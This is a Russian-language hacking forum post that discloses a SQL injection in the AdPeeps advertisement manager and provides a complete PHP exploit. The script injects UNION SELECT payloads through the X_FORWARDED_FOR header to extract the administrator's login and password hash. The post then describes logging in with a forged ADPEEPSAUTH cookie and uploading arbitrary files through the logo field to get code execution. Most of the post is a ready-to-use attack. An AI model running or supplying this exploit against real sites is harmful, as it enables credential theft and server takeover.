PDA

Просмотр полной версии : AdPeeps sql инъекция, выполнение php кода


(Dm)
15.09.2009, 01:43
>> Сайт: http://adpeeps.com/
>> Уязвимые версии: 8.5d2d(последняя), 8.5d2c, 8.5d1, возможно и другие.

>> Уязвимость в файле adpeeps.php, не проверяются HTTP заголовок X_FORWARDED_FOR на наличие опасных символов, но участвует в sql запросах.

Вот пример сплойта, который получает логин и хеш админа.
#!/usr/bin/php

<?
//title: Advertisement Management Control Panel
if ($argc < 2)
die($argv[0]." <host> <path> [<version>]\n");

$host = $argv[1];
$path = $argv[2];
$ver = @$argv[3];

$delimiter = "_".substr(md5(rand()),0,5)."_";
$sql = "concat('".$delimiter."',(SELECT concat(authname,':',authpasscode) FROM adpeeps_auth WHERE campaignid=0 LIMIT 1),'".$delimiter."')";


function SendQuery ($host, $query) {
GLOBAL $delimiter;
$buff = '';

$fp = fsockopen($host, 80, $errno, $errstr, 10);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
exit;
} else {
fwrite($fp, $query);
while (!feof($fp))
$buff .= fgets($fp, 128);

fclose($fp);
}
$result = explode($delimiter, $buff);
return $result[1];
}

//Определяем версию
if (empty($ver)) {
$ver = trim(@file_get_contents("http://".$host.$path."version.txt"));
if (empty($ver)) die("Can't define the version\n");
echo "Current version: ".$ver."\n\n";
}


//Выбираем эксплоит
if ($ver == "8.5d2d" || $ver == "8.5d2c") {
$ip = "X_FORWARDED_FOR:' LEFT JOIN adpeeps_settings AS settings ON 1=2 LEFT JOIN adpeeps_iptocountry AS geo ON 1=2 WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20,21,22,23 #";
} elseif ($ver == "8.5d1") {
$ip .= "X_FORWARDED_FOR:' WHERE 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,".$sql.",14,15,16,17,18,19,20 #";
} else {
die("Can't find exploit for version ".$ver."\n");
}

//Получаем логин и хеш админа
$query = "GET ".$path."adpeeps.php?bfunction=showad&btype=2 HTTP/1.1\r\n";
$query.= "Host: ".$host."\r\n";
$query.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$query.= "Connection: close\r\n";
$query.= $ip."\r\n\r\n";

echo "~> Admin auth info: \n";
$result = SendQuery($host, $query);
if (empty($result))
die("Exploit failed\n");

//$authkey = md5($loginname.$loginpassword);
echo $result."\n\n";

?>

>> Вход в админку через cookie:
+ ADPEEPSAUTH=логин:хеш:0

>> Загрузка произвольных файлов в админке по адресу http://site/index.php?loc=define_settings&uid=100000 , поле "Upload your own logo"

После загрузки файла он будет находится:
+ для версии 8.5d2d по адресу http://site/uploaded_banners/100000_logo_имяфайла
+ для версии 8.5d1 по адресу http://site/uploaded_banners/имяфайла